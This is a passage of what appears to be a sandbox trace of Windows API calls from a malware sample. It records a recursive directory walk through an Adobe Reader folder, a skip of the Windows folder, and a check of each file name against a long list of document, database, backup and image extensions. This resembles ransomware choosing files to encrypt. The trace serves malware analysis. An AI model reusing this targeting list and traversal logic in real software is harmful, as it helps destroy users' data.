	[0173.352] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0173.352] lstrlenW (lpString=".ascx") returned 5
	[0173.352] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0173.352] lstrlenW (lpString=".asm") returned 4
	[0173.352] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0173.352] lstrlenW (lpString=".asmx") returned 5
	[0173.352] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0173.352] lstrlenW (lpString=".asp") returned 4
	[0173.352] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0173.352] lstrlenW (lpString=".aspx") returned 5
	[0173.352] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0173.352] lstrlenW (lpString=".asr") returned 4
	[0173.352] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0173.352] lstrlenW (lpString=".asx") returned 4
	[0173.353] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0173.353] lstrlenW (lpString=".avi") returned 4
	[0173.353] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0173.353] lstrlenW (lpString=".avs") returned 4
	[0173.353] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0173.353] lstrlenW (lpString=".backup") returned 7
	[0173.353] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0173.353] lstrlenW (lpString=".bak") returned 4
	[0173.353] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0173.353] lstrlenW (lpString=".bay") returned 4
	[0173.353] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0173.353] lstrlenW (lpString=".bd") returned 3
	[0173.353] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0173.353] lstrlenW (lpString=".bin") returned 4
	[0173.353] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0173.353] lstrlenW (lpString=".bmp") returned 4
	[0173.353] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0173.353] lstrlenW (lpString=".bz2") returned 4
	[0173.353] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0173.353] lstrlenW (lpString=".c") returned 2
	[0173.353] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0173.353] lstrlenW (lpString=".cdr") returned 4
	[0173.353] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0173.353] lstrlenW (lpString=".cer") returned 4
	[0173.353] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0173.353] lstrlenW (lpString=".cf") returned 3
	[0173.353] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0173.353] lstrlenW (lpString=".cfc") returned 4
	[0173.353] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0173.353] lstrlenW (lpString=".cfm") returned 4
	[0173.353] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0173.353] lstrlenW (lpString=".cfml") returned 5
	[0173.353] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0173.353] lstrlenW (lpString=".cfu") returned 4
	[0173.354] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0173.354] lstrlenW (lpString=".chm") returned 4
	[0173.354] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0173.354] lstrlenW (lpString=".cin") returned 4
	[0173.354] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0173.354] lstrlenW (lpString=".class") returned 6
	[0173.354] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0173.354] lstrlenW (lpString=".clx") returned 4
	[0173.354] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0173.354] lstrlenW (lpString=".config") returned 7
	[0173.354] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0173.354] lstrlenW (lpString=".cpp") returned 4
	[0173.354] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0173.354] lstrlenW (lpString=".cr2") returned 4
	[0173.354] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0173.354] lstrlenW (lpString=".crt") returned 4
	[0173.354] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0173.354] lstrlenW (lpString=".crw") returned 4
	[0173.354] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0173.354] lstrlenW (lpString=".cs") returned 3
	[0173.354] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0173.354] lstrlenW (lpString=".css") returned 4
	[0173.354] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0173.354] lstrlenW (lpString=".csv") returned 4
	[0173.354] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0173.354] lstrlenW (lpString=".cub") returned 4
	[0173.354] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0173.354] lstrlenW (lpString=".dae") returned 4
	[0173.354] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0173.354] lstrlenW (lpString=".dat") returned 4
	[0173.354] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0173.354] lstrlenW (lpString=".db") returned 3
	[0173.354] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0173.355] lstrlenW (lpString=".dbf") returned 4
	[0173.355] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0173.355] lstrlenW (lpString=".dbx") returned 4
	[0173.355] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0173.355] lstrlenW (lpString=".dc3") returned 4
	[0173.355] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0173.355] lstrlenW (lpString=".dcm") returned 4
	[0173.355] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0173.355] lstrlenW (lpString=".dcr") returned 4
	[0173.355] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0173.355] lstrlenW (lpString=".der") returned 4
	[0173.355] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0173.355] lstrlenW (lpString=".dib") returned 4
	[0173.355] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0173.355] lstrlenW (lpString=".dic") returned 4
	[0173.355] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0173.355] lstrlenW (lpString=".dif") returned 4
	[0173.355] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0173.355] lstrlenW (lpString=".divx") returned 5
	[0173.355] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0173.355] lstrlenW (lpString=".djvu") returned 5
	[0173.355] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0173.355] lstrlenW (lpString=".dng") returned 4
	[0173.355] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0173.355] lstrlenW (lpString=".doc") returned 4
	[0173.355] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0173.355] lstrlenW (lpString=".docm") returned 5
	[0173.355] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0173.355] lstrlenW (lpString=".docx") returned 5
	[0173.355] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0173.355] lstrlenW (lpString=".dot") returned 4
	[0173.355] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0173.355] lstrlenW (lpString=".dotm") returned 5
	[0173.355] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0173.356] lstrlenW (lpString=".dotx") returned 5
	[0173.356] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0173.356] lstrlenW (lpString=".dpx") returned 4
	[0173.356] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0173.356] lstrlenW (lpString=".dqy") returned 4
	[0173.356] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0173.356] lstrlenW (lpString=".dsn") returned 4
	[0173.356] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0173.356] lstrlenW (lpString=".dt") returned 3
	[0173.356] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0173.356] lstrlenW (lpString=".dtd") returned 4
	[0173.356] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0173.356] lstrlenW (lpString=".dwg") returned 4
	[0173.356] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0173.356] lstrlenW (lpString=".dwt") returned 4
	[0173.356] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0173.356] lstrlenW (lpString=".dx") returned 3
	[0173.356] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0173.356] lstrlenW (lpString=".dxf") returned 4
	[0173.356] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0173.356] lstrlenW (lpString=".edml") returned 5
	[0173.356] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0173.356] lstrlenW (lpString=".efd") returned 4
	[0173.356] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0173.356] lstrlenW (lpString=".elf") returned 4
	[0173.356] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0173.356] lstrlenW (lpString=".emf") returned 4
	[0173.356] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0173.356] lstrlenW (lpString=".emz") returned 4
	[0173.356] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0173.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.357] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0173.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.357] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0173.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.357] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0173.357] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.357] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0173.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.358] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0173.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.358] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0173.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.358] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0173.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.358] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0173.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.358] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0173.359] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.359] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0173.359] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.359] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0173.359] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.359] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0173.360] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.360] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0173.360] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.360] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0173.360] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.360] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0173.360] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.360] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0173.360] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\sk-sk") returned 115
	[0173.360] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\sk-sk") returned 1
	[0173.360] lstrlenW (lpString="sk-sk") returned 5
	[0173.360] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sk-sk") returned -1
	[0173.360] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42e29c8
	[0173.361] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\sk-sk") returned 115
	[0173.361] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\sk-sk\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140ed8
	[0173.361] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0173.361] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x526, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.361] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.361] lstrlenW (lpString=".1cd") returned 4
	[0173.361] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0173.361] lstrlenW (lpString=".3ds") returned 4
	[0173.361] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0173.361] lstrlenW (lpString=".3fr") returned 4
	[0173.361] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0173.361] lstrlenW (lpString=".3g2") returned 4
	[0173.361] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0173.361] lstrlenW (lpString=".3gp") returned 4
	[0173.361] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0173.361] lstrlenW (lpString=".7z") returned 3
	[0173.361] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0173.361] lstrlenW (lpString=".accda") returned 6
	[0173.361] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0173.361] lstrlenW (lpString=".accdb") returned 6
	[0173.361] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0173.361] lstrlenW (lpString=".accdc") returned 6
	[0173.361] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0173.361] lstrlenW (lpString=".accde") returned 6
	[0173.361] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0173.361] lstrlenW (lpString=".accdt") returned 6
	[0173.362] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0173.362] lstrlenW (lpString=".accdw") returned 6
	[0173.362] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0173.362] lstrlenW (lpString=".adb") returned 4
	[0173.362] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0173.362] lstrlenW (lpString=".adp") returned 4
	[0173.362] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0173.362] lstrlenW (lpString=".ai") returned 3
	[0173.362] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0173.362] lstrlenW (lpString=".ai3") returned 4
	[0173.362] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0173.362] lstrlenW (lpString=".ai4") returned 4
	[0173.362] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0173.362] lstrlenW (lpString=".ai5") returned 4
	[0173.362] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0173.362] lstrlenW (lpString=".ai6") returned 4
	[0173.362] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0173.362] lstrlenW (lpString=".ai7") returned 4
	[0173.362] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0173.362] lstrlenW (lpString=".ai8") returned 4
	[0173.362] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0173.362] lstrlenW (lpString=".anim") returned 5
	[0173.362] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0173.362] lstrlenW (lpString=".arw") returned 4
	[0173.362] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0173.362] lstrlenW (lpString=".as") returned 3
	[0173.362] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0173.362] lstrlenW (lpString=".asa") returned 4
	[0173.362] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0173.362] lstrlenW (lpString=".asc") returned 4
	[0173.362] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0173.362] lstrlenW (lpString=".ascx") returned 5
	[0173.362] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0173.362] lstrlenW (lpString=".asm") returned 4
	[0173.363] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0173.363] lstrlenW (lpString=".asmx") returned 5
	[0173.363] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0173.363] lstrlenW (lpString=".asp") returned 4
	[0173.363] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0173.363] lstrlenW (lpString=".aspx") returned 5
	[0173.363] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0173.363] lstrlenW (lpString=".asr") returned 4
	[0173.363] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0173.363] lstrlenW (lpString=".asx") returned 4
	[0173.363] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0173.363] lstrlenW (lpString=".avi") returned 4
	[0173.363] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0173.363] lstrlenW (lpString=".avs") returned 4
	[0173.363] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0173.363] lstrlenW (lpString=".backup") returned 7
	[0173.363] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0173.363] lstrlenW (lpString=".bak") returned 4
	[0173.363] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0173.363] lstrlenW (lpString=".bay") returned 4
